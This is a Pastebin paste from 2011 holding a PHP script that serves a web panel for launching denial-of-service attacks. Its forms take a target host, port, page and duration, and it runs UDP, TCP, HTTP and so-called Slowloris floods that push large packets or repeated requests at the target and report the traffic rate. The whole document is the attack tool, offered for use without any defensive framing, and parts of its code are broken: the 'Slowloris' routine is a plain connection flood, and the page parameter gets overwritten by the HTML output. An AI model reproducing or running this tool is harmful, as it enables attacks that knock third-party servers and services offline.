Advertisement
Guest User

phpdodol

a guest
Dec 30th, 2011
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.58 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.    
  5. */
  6.  
  7.  
  8.     $type = $_GET['type'];
  9.     $host = $_GET['host'];
  10.     $time = $_GET['time'];
  11.     $port = $_GET['port'];
  12.     $page = $_GET['page'];
  13.     $myna = $_SERVER[PHP_SELF];
  14.  
  15.     $page  = '<html>' . "\n";
  16.     $page .= '  <head>' . "\n";
  17.     $page .= '      <style type="text/css">' . "\n";
  18.     $page .= '          #body {' . "\n";
  19.     $page .= '              background-image:   url(\'http://img15.imageshack.us/img15/7472/testqjv.png\');' . "\n";
  20.     $page .= '              font-family:        Verdana;' . "\n";
  21.     $page .= '              color:      #1b84ec;' . "\n";
  22.     $page .= '              font-size:      13px;' . "\n";
  23.     $page .= '              text-align:     center' . "\n";
  24.     $page .= '          }' . "\n";
  25.     $page .= '          #logo {' . "\n";
  26.     $page .= '              width:      100%; ' . "\n";
  27.     $page .= '              height:         200px; ' . "\n";
  28.     $page .= '              background-image:   url(\'http://img51.imageshack.us/img51/2627/logoygx.png\'); ' . "\n";
  29.     $page .= '              background-repeat:  no-repeat; ' . "\n";
  30.     $page .= '              background-position: center;"' . "\n";
  31.     $page .= '          }' . "\n";
  32.     $page .= '          .text {' . "\n";
  33.     $page .= '              font-family:        Verdana;' . "\n";
  34.     $page .= '              color:      #1b84ec;' . "\n";
  35.     $page .= '              font-size:      13px;' . "\n";
  36.     $page .= '              margin:     auto' . "\n";
  37.     $page .= '          }' . "\n";
  38.     $page .= '      </style>' . "\n";
  39.     $page .= '  </head>' . "\n";
  40.     $page .= '  <body id="body">' . "\n";
  41.     $page .= '      <br /><br />' . "\n";
  42.     $page .= '      <a href="' . $myna . '"><div id="logo"></div></a>' . "\n";
  43.     $page .= '      <br /><br />' . "\n";
  44.     $page .= '      <div style="width: 40%; border: 1px solid; boder-color: #1b84ec; background-color: #191919; margin: auto"><br />' . "\n";
  45.  
  46.     if ( isset( $_GET['type'] ) )
  47.         {
  48.         if ( $type == "UDP" )
  49.             {
  50.             if ( $_GET['host'] != '' &&  $_GET['time'] != '' )
  51.                 {
  52.                 $page .= UDP_FLOOD( $host , $time );
  53.                 }
  54.             else
  55.                 {
  56.                 $page .= '      <b>UDP Flood</b><br /><br />' . "\n";
  57.                 $page .= '      <form action="' . $myna . '" method="get">' . "\n";
  58.                 $page .= '          <table class="text">' . "\n";
  59.                 $page .= '          <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  60.                 $page .= '          <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  61.                 $page .= '          </table>' . "\n";
  62.                 $page .= '          <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  63.                 $page .= '          <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  64.                 $page .= '      </form>' . "\n";
  65.                 }
  66.             }
  67.         elseif ( $type == "TCP" )
  68.             {
  69.             if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['port'] != '' )
  70.                 {
  71.                 $page .= TCP_FLOOD ( $host , $port , $time );
  72.                 }
  73.             else
  74.                 {
  75.                 $page .= '      <b>TCP Flood</b><br /><br />' . "\n";
  76.                 $page .= '      <form action="' . $myna . '" method="get">' . "\n";;
  77.                 $page .= '          <table class="text">' . "\n";
  78.                 $page .= '          <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  79.                 $page .= '          <tr><td>Port:</td><td><input type="text" style="width: 130px" name="port" ></td></tr>' . "\n";
  80.                 $page .= '          <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  81.                 $page .= '          </table>' . "\n";
  82.                 $page .= '          <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  83.                 $page .= '          <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  84.                 $page .= '      </form>' . "\n";
  85.                 }
  86.             }
  87.         elseif ( $type == "HTTP" )
  88.             {
  89.             if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['page'] != '' )
  90.                 {
  91.                 $page .= HTTP_FLOOD ( $host , $page , $time );
  92.                 }
  93.             else
  94.                 {
  95.                 $page .= '      <b>HTTP Flood</b><br /><br />' . "\n";
  96.                 $page .= '      <form action="' . $myna . '" method="get">' . "\n";;
  97.                 $page .= '          <table class="text">' . "\n";
  98.                 $page .= '          <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  99.                 $page .= '          <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  100.                 $page .= '          <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  101.                 $page .= '          </table>' . "\n";
  102.                 $page .= '          <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  103.                 $page .= '          <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  104.                 $page .= '      </form>' . "\n";
  105.                 }
  106.             }
  107.         elseif ( $type == "SLOWLORIS" )
  108.             {
  109.             if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['page'] != '' )
  110.                 {
  111.                 $page .= SLOWLORIS ( $host , $page , $time );
  112.                 }
  113.             else
  114.                 {
  115.                 $page .= '      <b>Slowloris</b><br /><br />' . "\n";
  116.                 $page .= '      <form action="' . $myna . '" method="get">' . "\n";;
  117.                 $page .= '          <table class="text">' . "\n";
  118.                 $page .= '          <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  119.                 $page .= '          <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  120.                 $page .= '          <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  121.                 $page .= '          </table>' . "\n";
  122.                 $page .= '          <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  123.                 $page .= '          <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  124.                 $page .= '      </form>' . "\n";
  125.                 }
  126.             }
  127.         else
  128.             {
  129.             $page .= '      <b>Select Flood-Type:</b><br /><br />' . "\n";
  130.             $page .= '      <form action="' . $myna . '" method="get">' . "\n";;
  131.             $page .= '          <table class="text">' . "\n";
  132.             $page .= '          <tr><td><input type="radio" name="type" value="UDP">UDP Flood</td></tr>' . "\n";
  133.             $page .= '          <tr><td><input type="radio" name="type" value="TCP">TCP Flood</td></tr>' . "\n";
  134.             $page .= '          <tr><td><input type="radio" name="type" value="HTTP">HTTP Flood</td></tr>' . "\n";
  135.             $page .= '          <tr><td><input type="radio" name="type" value="SLOWLORIS">Slowloris</td></tr>' . "\n";
  136.             $page .= '          </table>' . "\n";
  137.             $page .= '          <br /><input type="submit" style="width: 20%" value="Next >" />' . "\n";
  138.             $page .= '      </form>' . "\n";
  139.             }
  140.         }
  141.     else
  142.         {
  143.         $page .= '      <b>Select Flood-Type:</b><br /><br />' . "\n";
  144.         $page .= '      <form action="' . $myna . '" method="get">' . "\n";;
  145.         $page .= '          <table class="text">' . "\n";
  146.         $page .= '          <tr><td><input type="radio" name="type" value="UDP">UDP Flood</td></tr>' . "\n";
  147.         $page .= '          <tr><td><input type="radio" name="type" value="TCP">TCP Flood</td></tr>' . "\n";
  148.         $page .= '          <tr><td><input type="radio" name="type" value="HTTP">HTTP Flood</td></tr>' . "\n";
  149.         $page .= '          <tr><td><input type="radio" name="type" value="SLOWLORIS">Slowloris</td></tr>' . "\n";
  150.         $page .= '          </table>' . "\n";
  151.         $page .= '          <br /><input type="submit" style="width: 20%" value="Next >" />' . "\n";
  152.         $page .= '      </form>' . "\n";
  153.         }
  154.  
  155.     $page .= '      <br /></div>' . "\n";
  156.     $page .= '  </body>' . "\n";
  157.     $page .= '</html>' . "\n";
  158.  
  159.     print$page;
  160.  
  161. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  162. // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  163. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  164.  
  165.     function UDP_Flood( $host , $length )
  166.         {
  167.         ignore_user_abort(TRUE);
  168.         set_time_limit(0);
  169.  
  170.         $max_time = time() + $length;
  171.  
  172.         $packet = "";
  173.         $packets = 0;
  174.  
  175.         while( strlen ( $packet ) < 65000 )
  176.             {
  177.             $packet .= Chr( 255 );
  178.             }
  179.  
  180.         while( 1 )
  181.             {
  182.             if ( time() > $max_time )
  183.                 {
  184.                 break;
  185.                 }
  186.  
  187.             $rand = rand( 1 , 65535 );
  188.             @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
  189.             if( $fp )
  190.                 {
  191.                 fwrite( $fp , $packet );
  192.                 fclose( $fp );
  193.                 $packets++;
  194.                 }
  195.             }
  196.  
  197.         if ( $packets == 0 )
  198.             {
  199.             $rtn  = '<b>UDP Flood</b><br /><br />' . "\n";
  200.             $rtn .= '<table class="text">' . "\n";
  201.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  202.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  203.             $rtn .= '</table>' . "\n";
  204.             $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  205.             }
  206.         else
  207.             {
  208.             $rtn  = '<b>UDP Flood</b><br /><br />' . "\n";
  209.             $rtn .= '<table class="text">' . "\n";
  210.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  211.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  212.             $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  213.             $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  214.             $rtn .= '</table>' . "\n";
  215.             }
  216.  
  217.         return$rtn;
  218.         }
  219.  
  220. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  221. // TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  222. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  223.  
  224.     function TCP_Flood( $host , $port , $length )
  225.         {
  226.         ignore_user_abort(TRUE);
  227.         set_time_limit(0);
  228.  
  229.         $max_time = time() + $length;
  230.  
  231.         $packet = "";
  232.         $packets = 0;
  233.  
  234.         while( strlen ( $packet ) < 65000 )
  235.             {
  236.             $packet .= Chr( 255 );
  237.             }
  238.  
  239.         @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  240.  
  241.         while( 1 )
  242.             {
  243.             if ( time() > $max_time )
  244.                 {
  245.                 break;
  246.                 }
  247.  
  248.             if( $fp )
  249.                 {
  250.                 fwrite( $fp , $packet );
  251.                 fclose( $fp );
  252.                 $packets++;
  253.                 }
  254.             else
  255.                 {
  256.                 @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  257.                 }
  258.             }
  259.  
  260.         if ( $packets == 0 )
  261.             {
  262.             $rtn  = '<b>TCP Flood</b><br /><br />' . "\n";
  263.             $rtn .= '<table class="text">' . "\n";
  264.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  265.             $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  266.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  267.             $rtn .= '</table>' . "\n";
  268.             $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  269.             }
  270.         else
  271.             {
  272.             $rtn  = '<b>TCP Flood</b><br /><br />' . "\n";
  273.             $rtn .= '<table class="text">' . "\n";
  274.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  275.             $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  276.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  277.             $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  278.             $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  279.             $rtn .= '</table>' . "\n";
  280.             }
  281.  
  282.         return$rtn;
  283.         }
  284.  
  285. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  286. // HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
  287. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  288.  
  289.     function HTTP_Flood( $host , $page , $length )
  290.         {
  291.         ignore_user_abort(TRUE);
  292.         set_time_limit(0);
  293.  
  294.         if ( $page == '' )
  295.             {
  296.             $page = '/';
  297.             }
  298.  
  299.         $max_time = time() + $length;
  300.  
  301.         $packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
  302.         $packet .= 'Host: ' . $host . "\r\n";
  303.         $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  304.         $packet .= 'Keep-alive: 300' . "\r\n";
  305.         $packet .= 'Connection: keep-alive' . "\r\n\r\n";
  306.  
  307.         @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  308.         while( 1 )
  309.             {
  310.             if ( time() > $max_time )
  311.                 {
  312.                 break;
  313.                 }
  314.  
  315.             if( $fp )
  316.                 {
  317.                 fwrite( $fp , $packet );
  318.                 fclose( $fp );
  319.                 $packets++;
  320.                 }
  321.             else
  322.                 {
  323.                 @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  324.                 }
  325.             }
  326.  
  327.         if ( $packets == 0 )
  328.             {
  329.             $rtn  = '<b>HTTP Flood</b><br /><br />' . "\n";
  330.             $rtn .= '<table class="text">' . "\n";
  331.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  332.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  333.             $rtn .= '</table>' . "\n";
  334.             $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  335.             }
  336.         else
  337.             {
  338.             $rtn  = '<b>HTTP Flood</b><br /><br />' . "\n";
  339.             $rtn .= '<table class="text">' . "\n";
  340.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  341.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  342.             $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  343.             $rtn .= '</table>' . "\n";
  344.             }
  345.  
  346.         return$rtn;
  347.         }
  348.  
  349. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  350. // SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
  351. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  352.  
  353.     function SLOWLORIS( $host , $page , $length )
  354.         {
  355.         ignore_user_abort(TRUE);
  356.         set_time_limit(0);
  357.  
  358.         if ( $page == '' )
  359.             {
  360.             $page = '/';
  361.             }
  362.  
  363.         $max_time = time() + $length;
  364.  
  365.         $packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
  366.         $packet .= 'Host: ' . $host . "\r\n";
  367.         $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  368.         $packet .= 'Content-length: 42' . "\r\n\r\n";
  369.  
  370.         @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  371.         while( 1 )
  372.             {
  373.             if ( time() > $max_time )
  374.                 {
  375.                 break;
  376.                 }
  377.  
  378.             if( $fp )
  379.                 {
  380.                 fwrite( $fp , $packet );
  381.                 fclose( $fp );
  382.                 $packets++;
  383.                 }
  384.             else
  385.                 {
  386.                 @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  387.                 }
  388.             }
  389.  
  390.         if ( $packets == 0 )
  391.             {
  392.             $rtn  = '<b>Slowloris</b><br /><br />' . "\n";
  393.             $rtn .= '<table class="text">' . "\n";
  394.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  395.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  396.             $rtn .= '</table>' . "\n";
  397.             $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  398.             }
  399.         else
  400.             {
  401.             $rtn  = '<b>Slowloris</b><br /><br />' . "\n";
  402.             $rtn .= '<table class="text">' . "\n";
  403.             $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  404.             $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  405.             $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  406.             $rtn .= '</table>' . "\n";
  407.             }
  408.  
  409.         return$rtn;
  410.         }
  411. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement